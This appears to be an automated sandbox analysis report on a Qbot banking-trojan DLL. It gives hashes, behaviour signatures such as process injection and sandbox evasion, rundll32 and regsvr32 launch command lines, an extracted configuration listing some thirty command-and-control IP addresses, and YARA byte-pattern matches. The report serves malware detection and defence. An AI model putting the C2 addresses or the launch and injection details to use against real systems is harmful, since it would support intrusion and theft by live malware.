Edit tour

Windows Analysis Report
diatomaceous.dat.dll

Overview

General Information

Sample Name:	diatomaceous.dat.dll
Analysis ID:	719511
MD5:	2e7f90e0c595d88d28f9fd979ccfcf33
SHA1:	8ff540ba601429c2ee0a444b0d2ec2650d178d23
SHA256:	e3a2c056c730666fedabfed5e3cc2dee12d9c3ca36ac2d7c5289cfe29c125050
Tags:	dll
Infos:

Detection

Qbot

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Qbot

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Sigma detected: Execute DLL with spoofed extension

Maps a DLL or memory area into another process

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Writes to foreign memory regions

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

AV process strings found (often used to terminate AV products)

PE file does not import any functions

Sample file is different than original file name gathered from version info

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Found evasive API chain checking for process token information

Checks if the current process is being debugged

Registers a DLL

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Uses Microsoft's Enhanced Cryptographic Provider

PE file overlay found

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 5992 cmdline: loaddll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll" MD5: 1F562FBF37040EC6C43C8D5EF619EA39)

conhost.exe (PID: 6064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6116 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 244 cmdline: rundll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

wermgr.exe (PID: 4768 cmdline: C:\Windows\SysWOW64\wermgr.exe MD5: CCF15E662ED5CE77B5FF1A7AAE305233)

regsvr32.exe (PID: 6096 cmdline: regsvr32.exe /s C:\Users\user\Desktop\diatomaceous.dat.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

wermgr.exe (PID: 5020 cmdline: C:\Windows\SysWOW64\wermgr.exe MD5: CCF15E662ED5CE77B5FF1A7AAE305233)

rundll32.exe (PID: 3908 cmdline: rundll32.exe C:\Users\user\Desktop\diatomaceous.dat.dll,DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

wermgr.exe (PID: 4860 cmdline: C:\Windows\SysWOW64\wermgr.exe MD5: CCF15E662ED5CE77B5FF1A7AAE305233)

rundll32.exe (PID: 1540 cmdline: rundll32.exe C:\Users\user\Desktop\diatomaceous.dat.dll,DllUnregisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Malware Configuration

Threatname: Qbot

{"Bot id": "BB", "Campaign": "1664535088", "Version": "403.902", "C2 list": ["41.107.71.201:443", "105.101.230.16:443", "105.108.239.60:443", "196.64.227.5:8443", "41.249.158.221:995", "134.35.14.5:443", "113.170.117.251:443", "187.193.219.248:443", "122.166.244.116:443", "154.237.129.123:995", "41.98.229.81:443", "186.48.199.243:995", "102.156.3.13:443", "41.97.190.189:443", "197.207.191.164:443", "105.184.14.132:995", "196.207.146.151:443", "105.158.113.15:443", "196.89.42.89:995", "86.98.156.229:993", "177.174.119.195:32101", "81.156.194.147:2078", "80.253.189.55:443", "197.49.175.67:995", "177.45.78.52:993", "89.187.169.77:443", "196.92.59.242:995", "41.13.200.19:443", "41.97.195.237:443", "92.191.56.11:2222", "154.70.53.202:443", "210.186.37.98:50002"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000003.312922602.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000004.00000003.312922602.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000004.00000003.312922602.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000005.00000003.313259350.0000000000B90000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000005.00000003.313259350.0000000000B90000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000005.00000003.313259350.0000000000B90000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000004.00000002.320649129.0000000004820000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000004.00000002.320649129.0000000004820000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000004.00000002.320649129.0000000004820000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000005.00000002.320603133.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000005.00000002.320603133.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000005.00000002.320603133.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000007.00000000.319688371.0000000001000000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000007.00000000.319688371.0000000001000000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000007.00000000.319688371.0000000001000000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000003.00000003.312800639.0000000000400000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000003.00000003.312800639.0000000000400000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000003.00000003.312800639.0000000000400000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000008.00000000.319841073.0000000000E00000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000008.00000000.319841073.0000000000E00000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000008.00000000.319841073.0000000000E00000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000009.00000000.319924513.0000000000E00000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000009.00000000.319924513.0000000000E00000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000009.00000000.319924513.0000000000E00000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000009.00000002.322491943.0000000000E00000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000009.00000002.322491943.0000000000E00000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000009.00000002.322491943.0000000000E00000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000008.00000002.322126638.0000000000E00000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000008.00000002.322126638.0000000000E00000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000008.00000002.322126638.0000000000E00000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.0.wermgr.exe.e00000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
8.0.wermgr.exe.e00000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
8.0.wermgr.exe.e00000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
4.2.rundll32.exe.4820000.1.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.2.rundll32.exe.4820000.1.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
4.2.rundll32.exe.4820000.1.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
5.3.rundll32.exe.b90000.1.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
5.3.rundll32.exe.b90000.1.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0xf74f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
5.3.rundll32.exe.b90000.1.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1aa14:$a4: %u;%u;%u; 0x1af50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1add8:$a6: %u&%s&%u 0x74c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x7804:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x1b30:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x1587:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xb0ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
8.2.wermgr.exe.e00000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
8.2.wermgr.exe.e00000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
8.2.wermgr.exe.e00000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
4.3.rundll32.exe.2fa0000.6.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.3.rundll32.exe.2fa0000.6.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0xf74f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
4.3.rundll32.exe.2fa0000.6.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1aa14:$a4: %u;%u;%u; 0x1af50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1add8:$a6: %u&%s&%u 0x74c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x7804:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x1b30:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x1587:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xb0ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
4.3.rundll32.exe.2fa0000.6.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.3.rundll32.exe.2fa0000.6.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
4.3.rundll32.exe.2fa0000.6.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
5.3.rundll32.exe.b90000.1.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
5.3.rundll32.exe.b90000.1.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
